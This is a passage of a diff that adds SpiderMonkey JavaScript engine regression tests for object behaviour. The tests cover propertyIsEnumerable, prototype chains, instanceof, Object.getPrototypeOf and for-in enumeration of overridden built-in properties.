+expectThrowTypeError(function() { propertyIsEnumerable.call(undefined, true); });
+expectThrowTypeError(function() { propertyIsEnumerable(NaN); });
+expectThrowTypeError(function() { propertyIsEnumerable.call(null, NaN); });
+expectThrowTypeError(function() { propertyIsEnumerable.call(undefined, NaN); });
+
+expectThrowTypeError(function() { propertyIsEnumerable({}); });
+expectThrowTypeError(function() { propertyIsEnumerable.call(null, {}); });
+expectThrowTypeError(function() { propertyIsEnumerable.call(undefined, {}); });
+
+/*
+ * 3. Let desc be the result of calling the [[GetOwnProperty]] internal method
+ * of O passing P as the argument.
+ * 4. If desc is undefined, return false.
+ */
+assertEq(propertyIsEnumerable.call({}, "valueOf"), false);
+assertEq(propertyIsEnumerable.call({}, "toString"), false);
+assertEq(propertyIsEnumerable.call("s", 1), false);
+assertEq(propertyIsEnumerable.call({}, "dsfiodjfs"), false);
+assertEq(propertyIsEnumerable.call(true, "toString"), false);
+assertEq(propertyIsEnumerable.call({}, "__proto__"), false);
+
+assertEq(propertyIsEnumerable.call(Object, "getOwnPropertyDescriptor"), false);
+assertEq(propertyIsEnumerable.call(this, "expectThrowTypeError"), true);
+assertEq(propertyIsEnumerable.call("s", "length"), false);
+assertEq(propertyIsEnumerable.call("s", 0), true);
+assertEq(propertyIsEnumerable.call(Number, "MAX_VALUE"), false);
+assertEq(propertyIsEnumerable.call({ x: 9 }, "x"), true);
+assertEq(propertyIsEnumerable.call(function() { }, "prototype"), false);
+assertEq(propertyIsEnumerable.call(function() { }, "length"), false);
+assertEq(propertyIsEnumerable.call(function() { "use strict"; }, "caller"), false);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/object/proto-property-change-writability-set.js b/js/src/tests/non262/object/proto-property-change-writability-set.js
new file mode 100644
index 0000000000..d81f844e93
--- /dev/null
+++ b/js/src/tests/non262/object/proto-property-change-writability-set.js
@@ -0,0 +1,56 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributors:
+ * Gary Kwong
+ * Jeff Walden
+ * Jason Orendorff
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 713944;
+var summary =
+ "Don't assert anything about a shape from the property cache until it's " +
+ "known the cache entry matches";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var accDesc = { set: function() {} };
+var dataDesc = { value: 3 };
+
+function f()
+{
+ propertyIsEnumerable = {};
+}
+function g()
+{
+ propertyIsEnumerable = {};
+}
+
+Object.defineProperty(Object.prototype, "propertyIsEnumerable", accDesc);
+f();
+Object.defineProperty(Object.prototype, "propertyIsEnumerable", dataDesc);
+assertEq(propertyIsEnumerable, 3);
+f();
+assertEq(propertyIsEnumerable, 3);
+g();
+assertEq(propertyIsEnumerable, 3);
+
+
+
+var a = { p1: 1, p2: 2 };
+var b = Object.create(a);
+Object.defineProperty(a, "p1", {set: function () {}});
+for (var i = 0; i < 2; i++)
+{
+ b.p1 = {};
+ Object.defineProperty(a, "p1", {value: 3});
+}
+assertEq(b.p1, 3);
+assertEq(a.p1, 3);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/object/regress-137000.js b/js/src/tests/non262/object/regress-137000.js
new file mode 100644
index 0000000000..7e4ce268dd
--- /dev/null
+++ b/js/src/tests/non262/object/regress-137000.js
@@ -0,0 +1,203 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 03 June 2002
+ * SUMMARY: Function param or local var with same name as a function property
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=137000
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=138708
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=150032
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=150859
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 137000;
+var summary = 'Function param or local var with same name as a function prop';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+/*
+ * Note use of 'x' both for the parameter to f,
+ * and as a property name for |f| as an object
+ */
+function f(x)
+{
+}
+
+status = inSection(1);
+f.x = 12;
+actual = f.x;
+expect = 12;
+addThis();
+
+
+
+/*
+ * A more elaborate example, using the call() method
+ * to chain constructors from child to parent.
+ *
+ * The key point is the use of the same name 'p' for both
+ * the parameter to the constructor, and as a property name
+ */
+function parentObject(p)
+{
+ this.p = 1;
+}
+
+function childObject()
+{
+ parentObject.call(this);
+}
+childObject.prototype = parentObject;
+
+status = inSection(2);
+var objParent = new parentObject();
+actual = objParent.p;
+expect = 1;
+addThis();
+
+status = inSection(3);
+var objChild = new childObject();
+actual = objChild.p;
+expect = 1;
+addThis();
+
+
+
+/*
+ * A similar set-up. Here the same name is being used for
+ * the parameter to both the Base and Child constructors,
+ */
+function Base(id)
+{
+}
+
+function Child(id)
+{
+ this.prop = id;
+}
+Child.prototype=Base;
+
+status = inSection(4);
+var c1 = new Child('child1');
+actual = c1.prop;
+expect = 'child1';
+addThis();
+
+
+
+/*
+ * Use same identifier as a property name, too -
+ */
+function BaseX(id)
+{
+}
+
+function ChildX(id)
+{
+ this.id = id;
+}
+ChildX.prototype=BaseX;
+
+status = inSection(5);
+c1 = new ChildX('child1');
+actual = c1.id;
+expect = 'child1';
+addThis();
+
+
+
+/*
+ * From http://bugzilla.mozilla.org/show_bug.cgi?id=150032
+ *
+ * Here the same name is being used both for a local variable
+ * declared in g(), and as a property name for |g| as an object
+ */
+function g()
+{
+ var propA = g.propA;
+ var propB = g.propC;
+
+ this.getVarA = function() {return propA;}
+ this.getVarB = function() {return propB;}
+}
+g.propA = 'A';
+g.propB = 'B';
+g.propC = 'C';
+var obj = new g();
+
+status = inSection(6);
+actual = obj.getVarA(); // this one was returning 'undefined'
+expect = 'A';
+addThis();
+
+status = inSection(7);
+actual = obj.getVarB(); // this one is easy; it never failed
+expect = 'C';
+addThis();
+
+
+
+/*
+ * By martin.honnen@gmx.de
+ * From http://bugzilla.mozilla.org/show_bug.cgi?id=150859
+ *
+ * Here the same name is being used for a local var in F
+ * and as a property name for |F| as an object
+ *
+ * Twist: the property is added via another function.
+ */
+function setFProperty(val)
+{
+ F.propA = val;
+}
+
+function F()
+{
+ var propA = 'Local variable in F';
+}
+
+status = inSection(8);
+setFProperty('Hello');
+actual = F.propA; // this was returning 'undefined'
+expect = 'Hello';
+addThis();
+
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/object/regress-192105.js b/js/src/tests/non262/object/regress-192105.js
new file mode 100644
index 0000000000..d29c2d7565
--- /dev/null
+++ b/js/src/tests/non262/object/regress-192105.js
@@ -0,0 +1,146 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 06 February 2003
+ * SUMMARY: Using |instanceof| to check if function is called as a constructor
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=192105
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 192105;
+var summary = 'Using |instanceof| to check if f() is called as constructor';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+/*
+ * This function is the heart of the test. It sets the result
+ * variable |actual|, which we will compare against |expect|.
+ *
+ * Note |actual| will be set to |true| or |false| according
+ * to whether or not this function is called as a constructor;
+ * i.e. whether it is called via the |new| keyword or not -
+ */
+function f()
+{
+ actual = (this instanceof f);
+}
+
+
+/*
+ * Call f as a constructor from global scope
+ */
+status = inSection(1);
+new f(); // sets |actual|
+expect = true;
+addThis();
+
+/*
+ * Now, not as a constructor
+ */
+status = inSection(2);
+f(); // sets |actual|
+expect = false;
+addThis();
+
+
+/*
+ * Call f as a constructor from function scope
+ */
+function F()
+{
+ new f();
+}
+status = inSection(3);
+F(); // sets |actual|
+expect = true;
+addThis();
+
+/*
+ * Now, not as a constructor
+ */
+function G()
+{
+ f();
+}
+status = inSection(4);
+G(); // sets |actual|
+expect = false;
+addThis();
+
+
+/*
+ * Now make F() and G() methods of an object
+ */
+var obj = {F:F, G:G};
+status = inSection(5);
+obj.F(); // sets |actual|
+expect = true;
+addThis();
+
+status = inSection(6);
+obj.G(); // sets |actual|
+expect = false;
+addThis();
+
+
+/*
+ * Now call F() and G() from yet other functions, and use eval()
+ */
+function A()
+{
+ eval('F();');
+}
+status = inSection(7);
+A(); // sets |actual|
+expect = true;
+addThis();
+
+
+function B()
+{
+ eval('G();');
+}
+status = inSection(8);
+B(); // sets |actual|
+expect = false;
+addThis();
+
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/object/regress-308806-01.js b/js/src/tests/non262/object/regress-308806-01.js
new file mode 100644
index 0000000000..8e0a66839c
--- /dev/null
+++ b/js/src/tests/non262/object/regress-308806-01.js
@@ -0,0 +1,20 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 308806;
+var summary = 'Object.prototype.toLocaleString() should track Object.prototype.toString() ';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var o = {toString: function() { return 'foo'; }};
+
+expect = o.toString();
+actual = o.toLocaleString();
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/object/regress-338709.js b/js/src/tests/non262/object/regress-338709.js
new file mode 100644
index 0000000000..ca82e7fbcb
--- /dev/null
+++ b/js/src/tests/non262/object/regress-338709.js
@@ -0,0 +1,74 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 338709;
+var summary = 'ReadOnly properties should not be overwritten by using ' +
+ 'Object and try..throw..catch';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+Object = function () { return Math };
+expect = Math.LN2;
+try
+{
+ throw 1990;
+}
+catch (LN2)
+{
+}
+actual = Math.LN2;
+print("Math.LN2 = " + Math.LN2)
+ reportCompare(expect, actual, summary);
+
+var s = new String("abc");
+Object = function () { return s };
+expect = s.length;
+try
+{
+ throw -8
+ }
+catch (length)
+{
+}
+actual = s.length;
+print("length of '" + s + "' = " + s.length)
+ reportCompare(expect, actual, summary);
+
+var re = /xy/m;
+Object = function () { return re };
+expect = re.multiline;
+try
+{
+ throw false
+ }
+catch (multiline)
+{
+}
+actual = re.multiline;
+print("re.multiline = " + re.multiline)
+ reportCompare(expect, actual, summary);
+
+if ("document" in this) {
+ // Let the document be its own documentElement.
+ Object = function () { return document }
+ expect = document.documentElement + '';
+ try
+ {
+ throw document;
+ }
+ catch (documentElement)
+ {
+ }
+ actual = document.documentElement + '';
+ print("document.documentElement = " + document.documentElement)
+ }
+else
+ Object = this.constructor
+
+ reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/object/regress-361274.js b/js/src/tests/non262/object/regress-361274.js
new file mode 100644
index 0000000000..dd3d15f328
--- /dev/null
+++ b/js/src/tests/non262/object/regress-361274.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 361274;
+var summary = 'Embedded nulls in property names';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var x='123'+'\0'+'456';
+ var y='123'+'\0'+'789';
+ var a={};
+ a[x]=1;
+ a[y]=2;
+
+ reportCompare(1, a[x], summary + ': 123\\0456');
+ reportCompare(2, a[y], summary + ': 123\\0789');
+}
diff --git a/js/src/tests/non262/object/regress-382503.js b/js/src/tests/non262/object/regress-382503.js
new file mode 100644
index 0000000000..373b45f6e2
--- /dev/null
+++ b/js/src/tests/non262/object/regress-382503.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 382503;
+var summary = 'Do not assert: with prototype=regexp';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function f(x)
+{
+ prototype = /a/;
+
+ if (x) {
+ return /b/;
+ return /c/;
+ } else {
+ return /d/;
+ }
+}
+
+void f(false);
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/object/regress-382532.js b/js/src/tests/non262/object/regress-382532.js
new file mode 100644
index 0000000000..a65651a1c6
--- /dev/null
+++ b/js/src/tests/non262/object/regress-382532.js
@@ -0,0 +1,33 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 382532;
+var summary = 'instanceof,... broken by use of |prototype| in heavyweight constructor';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var prototype;
+
+ function Bug() {
+ var func = function () { x; };
+ prototype;
+ }
+
+ expect = true;
+ actual = (new Bug instanceof Bug);
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/object/regress-385393-07.js b/js/src/tests/non262/object/regress-385393-07.js
new file mode 100644
index 0000000000..eea506aba2
--- /dev/null
+++ b/js/src/tests/non262/object/regress-385393-07.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 385393;
+var summary = 'Regression test for bug 385393';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ (2).eval();
+ }
+ catch(ex)
+ {
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/object/regress-444787.js b/js/src/tests/non262/object/regress-444787.js
new file mode 100644
index 0000000000..08e1496860
--- /dev/null
+++ b/js/src/tests/non262/object/regress-444787.js
@@ -0,0 +1,101 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 444787;
+var summary = 'Object.getPrototypeOf';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var i;
+ var type;
+ var instance;
+ var types = [
+ Array,
+ Boolean,
+ Date,
+ Error,
+ Function,
+ Math,
+ Number,
+ Object,
+ RegExp,
+ String,
+ ];
+
+ for (i = 0; i < types.length; i++)
+ {
+ type = types[i];
+
+ if (typeof type.__proto__ != 'undefined')
+ {
+ expect = type.__proto__;
+ actual = Object.getPrototypeOf(type);
+ reportCompare(expect, actual, summary + ': ' + type.name);
+ }
+
+ try
+ {
+ eval('instance = new ' + type.name);
+ expect = type.prototype;
+ actual = Object.getPrototypeOf(instance);
+ reportCompare(expect, actual, summary + ': new ' + type.name);
+ }
+ catch(ex) {
+ if (ex instanceof TypeError) {
+ print('Ignore ' + ex);
+ } else {
+ actual = ex + '';
+ reportCompare(expect, actual, summary + ': new ' + type.name);
+ }
+ }
+
+ }
+
+ types = [null, undefined];
+
+ for (i = 0; i < types.length; i++)
+ {
+ type = types[i];
+ expect = 'TypeError: Object.getPrototype is not a function';
+ try
+ {
+ actual = Object.getPrototype(null);
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': ' + type);
+ }
+
+ var objects = [
+ {instance: [0], type: Array},
+ {instance: (function () {}), type: Function},
+ {instance: eval, type: Function},
+ {instance: parseInt, type: Function},
+ {instance: {a: ''}, type: Object},
+ {instance: /foo/, type: RegExp}
+ ];
+
+ for (i = 0; i < objects.length; i++)
+ {
+ instance = objects[i].instance;
+ type = objects[i].type;
+ expect = type.prototype;
+ actual = Object.getPrototypeOf(instance);
+ reportCompare(expect, actual, summary + ' instance: ' + instance + ', type: ' + type.name);
+ }
+}
diff --git a/js/src/tests/non262/object/regress-459405.js b/js/src/tests/non262/object/regress-459405.js
new file mode 100644
index 0000000000..524bc6a092
--- /dev/null
+++ b/js/src/tests/non262/object/regress-459405.js
@@ -0,0 +1,37 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Robert Sayre
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 459405;
+var summary = 'Math is not ReadOnly';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'foo';
+
+ try
+ {
+ var Math = 'foo';
+ actual = Math;
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/object/regress-465476.js b/js/src/tests/non262/object/regress-465476.js
new file mode 100644
index 0000000000..1d998f1e71
--- /dev/null
+++ b/js/src/tests/non262/object/regress-465476.js
@@ -0,0 +1,60 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465476;
+var summary = '"-0" and "0" are distinct properties.';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var x = { "0": 3, "-0": 7 };
+
+ expect = actual = 'No Exception';
+
+ try
+ {
+ if (!("0" in x))
+ throw "0 not in x";
+ if (!("-0" in x))
+ throw "-0 not in x";
+ delete x[0];
+ if ("0" in x)
+ throw "0 in x after delete";
+ if (!("-0" in x))
+ throw "-0 removed from x after unassociated delete";
+ delete x["-0"];
+ if ("-0" in x)
+ throw "-0 in x after delete";
+ x[0] = 3;
+ if (!("0" in x))
+ throw "0 not in x after insertion of 0 property";
+ if ("-0" in x)
+ throw "-0 in x after insertion of 0 property";
+ x["-0"] = 7;
+ if (!("-0" in x))
+ throw "-0 not in x after reinsertion";
+
+ var props = [];
+ for (var i in x)
+ props.push(i);
+ if (props.length !== 2)
+ throw "not all props found!";
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/object/regress-72773.js b/js/src/tests/non262/object/regress-72773.js
new file mode 100644
index 0000000000..77f75c3dc0
--- /dev/null
+++ b/js/src/tests/non262/object/regress-72773.js
@@ -0,0 +1,60 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 09 May 2001
+ *
+ * SUMMARY: Regression test: we shouldn't crash on this code
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=72773
+ *
+ * See ECMA-262 Edition 3 13-Oct-1999, Section 8.6.2 re [[Class]] property.
+ *
+ * Same as class-001.js - but testing user-defined types here, not
+ * native types. Therefore we expect the [[Class]] property to equal
+ * 'Object' in each case -
+ *
+ * The getJSClass() function we use is in a utility file, e.g. "shell.js"
+ */
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 72773;
+var summary = "Regression test: we shouldn't crash on this code";
+var status = '';
+var actual = '';
+var expect = '';
+var sToEval = '';
+
+/*
+ * This code should produce an error, but not a crash.
+ * 'TypeError: Function.prototype.toString called on incompatible object'
+ */
+sToEval += 'function Cow(name){this.name = name;}'
+sToEval += 'function Calf(str){this.name = str;}'
+sToEval += 'Calf.prototype = Cow;'
+sToEval += 'new Calf().toString();'
+
+status = 'Trying to catch an expected error';
+try
+{
+ eval(sToEval);
+}
+catch(e)
+{
+ actual = getJSClass(e);
+ expect = 'Error';
+}
+
+
+//----------------------------------------------------------------------------------------------
+test();
+//----------------------------------------------------------------------------------------------
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ reportCompare(expect, actual, status);
+}
diff --git a/js/src/tests/non262/object/regress-79129-001.js b/js/src/tests/non262/object/regress-79129-001.js
new file mode 100644
index 0000000000..b9689429ee
--- /dev/null
+++ b/js/src/tests/non262/object/regress-79129-001.js
@@ -0,0 +1,44 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 06 May 2001
+ *
+ * SUMMARY: Regression test: we shouldn't crash on this code
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=79129
+ */
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 79129;
+var summary = "Regression test: we shouldn't crash on this code";
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+ tryThis();
+ reportCompare('No Crash', 'No Crash', 'Should not crash');
+}
+
+
+function tryThis()
+{
+ obj={};
+ obj.a = obj.b = obj.c = 1;
+ delete obj.a;
+ delete obj.b;
+ delete obj.c;
+ obj.d = obj.e = 1;
+ obj.a=1;
+ obj.b=1;
+ obj.c=1;
+ obj.d=1;
+ obj.e=1;
+}
diff --git a/js/src/tests/non262/object/regress-90596-003.js b/js/src/tests/non262/object/regress-90596-003.js
new file mode 100644
index 0000000000..ea0c161592
--- /dev/null
+++ b/js/src/tests/non262/object/regress-90596-003.js
@@ -0,0 +1,275 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 28 August 2001
+ *
+ * SUMMARY: A [DontEnum] prop, if overridden, should appear in for-in loops.
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=90596
+ *
+ * NOTE: some inefficiencies in the test are made for the sake of readability.
+ * For example, we quote string values like "Hi" in lines like this:
+ *
+ * actual = enumerateThis(obj);
+ * expect = '{prop:"Hi"}';
+ *
+ * But enumerateThis(obj) gets literal value Hi for obj.prop, not
+ * literal "Hi". We take care of all these details in the
+ * compactThis(), sortThis() functions. Sorting properties
+ * alphabetically is necessary for the test to work in Rhino.
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 90596;
+var summary = '[DontEnum] props (if overridden) should appear in for-in loops';
+var cnCOMMA = ',';
+var cnCOLON = ':';
+var cnLBRACE = '{';
+var cnRBRACE = '}';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+var obj = {};
+
+
+status = inSection(1);
+obj = {toString:9};
+actual = enumerateThis(obj);
+expect = '{toString:9}';
+addThis();
+
+status = inSection(2);
+obj = {hasOwnProperty:"Hi"};
+actual = enumerateThis(obj);
+expect = '{hasOwnProperty:"Hi"}';
+addThis();
+
+status = inSection(3);
+obj = {toString:9, hasOwnProperty:"Hi"};
+actual = enumerateThis(obj);
+expect = '{toString:9, hasOwnProperty:"Hi"}';
+addThis();
+
+status = inSection(4);
+obj = {prop1:1, toString:9, hasOwnProperty:"Hi"};
+actual = enumerateThis(obj);
+expect = '{prop1:1, toString:9, hasOwnProperty:"Hi"}';
+addThis();
+
+
+// TRY THE SAME THING IN EVAL CODE
+var s = '';
+
+status = inSection(5);
+s = 'obj = {toString:9}';
+eval(s);
+actual = enumerateThis(obj);
+expect = '{toString:9}';
+addThis();
+
+status = inSection(6);
+s = 'obj = {hasOwnProperty:"Hi"}';
+eval(s);
+actual = enumerateThis(obj);
+expect = '{hasOwnProperty:"Hi"}';
+addThis();
+
+status = inSection(7);
+s = 'obj = {toString:9, hasOwnProperty:"Hi"}';
+eval(s);
+actual = enumerateThis(obj);
+expect = '{toString:9, hasOwnProperty:"Hi"}';
+addThis();
+
+status = inSection(8);
+s = 'obj = {prop1:1, toString:9, hasOwnProperty:"Hi"}';
+eval(s);
+actual = enumerateThis(obj);
+expect = '{prop1:1, toString:9, hasOwnProperty:"Hi"}';
+addThis();
+
+
+// TRY THE SAME THING IN FUNCTION CODE
+function A()
+{
+ status = inSection(9);
+ var s = 'obj = {toString:9}';
+ eval(s);
+ actual = enumerateThis(obj);
+ expect = '{toString:9}';
+ addThis();
+}
+A();
+
+function B()
+{
+ status = inSection(10);
+ var s = 'obj = {hasOwnProperty:"Hi"}';
+ eval(s);
+ actual = enumerateThis(obj);
+ expect = '{hasOwnProperty:"Hi"}';
+ addThis();
+}
+B();
+
+function C()
+{
+ status = inSection(11);
+ var s = 'obj = {toString:9, hasOwnProperty:"Hi"}';
+ eval(s);
+ actual = enumerateThis(obj);
+ expect = '{toString:9, hasOwnProperty:"Hi"}';
+ addThis();
+}
+C();
+
+function D()
+{
+ status = inSection(12);
+ var s = 'obj = {prop1:1, toString:9, hasOwnProperty:"Hi"}';
+ eval(s);
+ actual = enumerateThis(obj);
+ expect = '{prop1:1, toString:9, hasOwnProperty:"Hi"}';
+ addThis();
+}
+D();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function enumerateThis(obj)
+{
+ var arr = new Array();
+
+ for (var prop in obj)
+ {
+ arr.push(prop + cnCOLON + obj[prop]);
+ }
+
+ var ret = addBraces(String(arr));
+ return ret;
+}
+
+
+function addBraces(text)
+{
+ return cnLBRACE + text + cnRBRACE;
+}
+
+
+/*
+ * Sort properties alphabetically so the test will work in Rhino
+ */
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = sortThis(actual);
+ expectedvalues[UBound] = sortThis(expect);
+ UBound++;
+}
+
+
+/*
+ * Takes a string of the form '{"c", "b", "a", 2}' and returns '{2,a,b,c}'
+ */
+function sortThis(sList)
+{
+ sList = compactThis(sList);
+ sList = stripBraces(sList);
+ var arr = sList.split(cnCOMMA);
+ arr = arr.sort();
+ var ret = String(arr);
+ ret = addBraces(ret);
+ return ret;
+}
+
+
+/*
+ * Strips out any whitespace or quotes from the text -
+ */
+function compactThis(text)
+{
+ var charCode = 0;
+ var ret = '';
+
+ for (var i=0; i<text.length; i++)
+ {
+ charCode = text.charCodeAt(i);
+
+ if (!isWhiteSpace(charCode) && !isQuote(charCode))
+ ret += text.charAt(i);
+ }
+
+ return ret;
+}
+
+
+function isWhiteSpace(charCode)
+{
+ switch (charCode)
+ {
+ case (0x0009):
+ case (0x000B):
+ case (0x000C):
